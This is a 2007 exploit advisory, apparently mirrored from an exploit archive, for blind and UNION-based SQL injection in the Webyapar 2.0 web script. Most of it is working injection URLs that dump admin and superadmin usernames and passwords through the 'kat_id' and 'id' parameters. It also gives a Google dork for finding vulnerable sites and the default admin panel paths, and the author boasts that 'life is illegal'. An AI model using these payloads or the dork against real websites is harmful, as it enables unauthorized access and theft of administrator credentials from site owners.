Webyapar 2.0 Multiple Remote SQL Injection Vulnerabilities

🗓️ 25 Jul 2007 00:00:00Reported by RootType
Webyapar 2.0 Multiple Remote SQL Injection Vulnerabilities. Turkish security man and coder. Perfect coder and security

                                                #########################################################################################################################
#########################################################################################################################
############/$$$$$$$$$$$////$$$$$$$$$$$//###################///////////###############//$$$$$$$$$$$$$$$//$$$$$$$$$$$$$$$/
###///////##/$$$$$$$$//////////$$$$$$$$//####################/////////#####//////$$$$$//$$$$/////////////$$$$////////////
##///////###/$$$$$$$////////////$$$$$$$//#####///////////#####///////#####///////$$$$$//$$$$/////////////$$$$////////////
##//////###///$$$$$$$//////////$$$$$$$///#####///////////#####//////#####////////$$$$$//$$$$/////////////$$$$////////////
##/////###/////$$$$$$$////////$$$$$$$////#####//////////######/////#####/////////$$$$$//$$$$/////////////$$$$////////////
##////###///////$$$$$$$//////$$$$$$$/////######////////#######////#####//////////$$$$$//$$$$/////////////$$$$////////////
##///###/////////$$$$$$$////$$$$$$$//////#######//////#######////#####///////////$$$$$//$$$$/////////////$$$$////////////
###################$$$$$$##$$$$$$################################################$$$$$##$$$$$$$$$$$$$$$##$$$$$$$$$$$$$$$$
####################$$$$$$$$$$$$#################################################$$$$$##$$$$$$$$$$$$$$$##$$$$$$$$$$$$$$$$
##///###////////////$$$$$$$$$$$$/////////#########////////////#####//////////////$$$$$//$$$$$$$$$$$$$$$//$$$$$$$$$$$$$$$$
##////###////////////$$$$$$$$$$//////////########////////////#####///////////////$$$$$/////////////$$$$//////////////$$$$
##/////###////////////$$$$$$$$///////////#######////////////#####////////////////$$$$$/////////////$$$$//////////////$$$$
##//////###////////////$$$$$$////////////#######///////////#####/////////////////$$$$$/////////////$$$$//////////////$$$$
###//////##/////////////$$$$/////////////#######//////////#####//////////////////$$$$$/////////////$$$$//////////////$$$$
############/////////////$$//////////////#######/////////#####///////////////////$$$$$//$$$$$$$$$$$$$$$//$$$$$$$$$$$$$$$$
#########################################################################################################################
#########################################################################################################################
#####&nbsp;TURKISH&nbsp;SECUR&amp;#304;TY&nbsp;MAN&nbsp;AND&nbsp;C0D3R&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#######################&nbsp;MA&amp;#304;L&nbsp;:&nbsp;&nbsp;[email protected]&nbsp;###########################
#####&nbsp;-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#####&nbsp;web&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##########
#####&nbsp;PERFECT&nbsp;C0D3R&nbsp;AND&nbsp;SECUR&amp;#304;TY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&nbsp;MESSAGE&nbsp;:&nbsp;&nbsp;HAYAT&nbsp;&amp;#304;LLEGAL&nbsp;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&nbsp;&nbsp;&nbsp;##
#########################################################################################################################

#&nbsp;Title&nbsp;:&nbsp;webyapar&nbsp;v2.0&nbsp;Remote&nbsp;Blind&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability

#&nbsp;AUTHOR:&nbsp;:&nbsp;bypass&nbsp;

#&nbsp;script&nbsp;name&nbsp;:&nbsp;Webyapar&nbsp;v2.0&nbsp;&nbsp;{&nbsp;700$&nbsp;}

#&nbsp;Language&nbsp;:&nbsp;Tr

#&nbsp;scritp&nbsp;web&nbsp;page&nbsp;:&nbsp;www.webyapar.com

#&nbsp;script&nbsp;bug&nbsp;:&nbsp;remote&nbsp;sql&nbsp;enjeksiyon

#&nbsp;script&nbsp;admin&nbsp;panel1&nbsp;:&nbsp;http://victim/script_path/yonetim

#&nbsp;script&nbsp;admin&nbsp;panel2&nbsp;:&nbsp;http://victim/script_path/yonetim2

#&nbsp;google&nbsp;dork&nbsp;:&nbsp;inurl:&quot;?page=duyurular_detay&amp;id=&quot;

#Message&nbsp;Tr&nbsp;:&nbsp;ingilizcem&nbsp;pek&nbsp;iyi&nbsp;degildir.&nbsp;kodun&nbsp;piyasada&nbsp;sat&amp;#305;s&nbsp;degeri&nbsp;700$&nbsp;-&nbsp;kodun&nbsp;sql&nbsp;d&amp;#305;s&amp;#305;nda&nbsp;xss&nbsp;ac&amp;#305;klar&amp;#305;da&nbsp;bulunmaktad&amp;#305;r
ama&nbsp;pek&nbsp;fazla&nbsp;xss&nbsp;ac&amp;#305;klar&amp;#305;&nbsp;i&amp;#351;inize&nbsp;yaramayacakt&amp;#305;r.&nbsp;yonetim&nbsp;panelleri&nbsp;standart&nbsp;verilmistir...

#&nbsp;Message&nbsp;Tr&nbsp;:&nbsp;Hayat&nbsp;&amp;#304;llegal&nbsp;-&nbsp;/&nbsp;-


&lt;&nbsp;/&nbsp;--------------------------------------------------------------------------------------------------------&nbsp;/&gt;


&lt;&nbsp;/&nbsp;------&nbsp;&nbsp;&nbsp;Example&nbsp;sql&nbsp;bug&nbsp;1&nbsp;admin&nbsp;username&nbsp;:&nbsp;&nbsp;&nbsp;------&nbsp;/&nbsp;&gt;&nbsp;&nbsp;


http://V&amp;#304;CT&amp;#304;M/SCR&amp;#304;PT_PATH/?page=download&amp;kat_id=-116+union+all+select+0,kullanici+from+admin




&lt;&nbsp;/&nbsp;------&nbsp;&nbsp;&nbsp;Example&nbsp;sql&nbsp;bug&nbsp;1&nbsp;admin&nbsp;password&nbsp;:&nbsp;&nbsp;&nbsp;------&nbsp;/&nbsp;&gt;&nbsp;


http://V&amp;#304;CT&amp;#304;M/SCR&amp;#304;PT_PATH/?page=download&amp;kat_id=-116+union+all+select+0,sifre+from+admin




&lt;&nbsp;/&nbsp;------&nbsp;&nbsp;&nbsp;Example&nbsp;sql&nbsp;bug&nbsp;2&nbsp;superadmin&nbsp;password&nbsp;and&nbsp;admin&nbsp;username&nbsp;:&nbsp;&nbsp;&nbsp;------&nbsp;/&nbsp;&gt;&nbsp;



http://V&amp;#304;CT&amp;#304;M/SCR&amp;#304;PT_PATH/?page=duyurular_detay&amp;id=-50+union+all+select+0,kullanici,2,3,sifre,5+from+superadmin

&lt;&nbsp;/&nbsp;--------------------------------------------------------------------------------------------------------&nbsp;/&gt;


Sql&nbsp;enjeksiyon&nbsp;bug&nbsp;1&nbsp;:&nbsp;/?page=download&amp;kat_id=-116+union+all+select+0,sifre+from+admin

Sql&nbsp;enjeksiyon&nbsp;bug&nbsp;2&nbsp;:&nbsp;/?page=duyurular_detay&amp;id=-50+union+all+select+0,kullanici,2,3,sifre,5+from+admin
25 Jul 2007 00:00Current
7.1High risk
Vulners AI Score7.1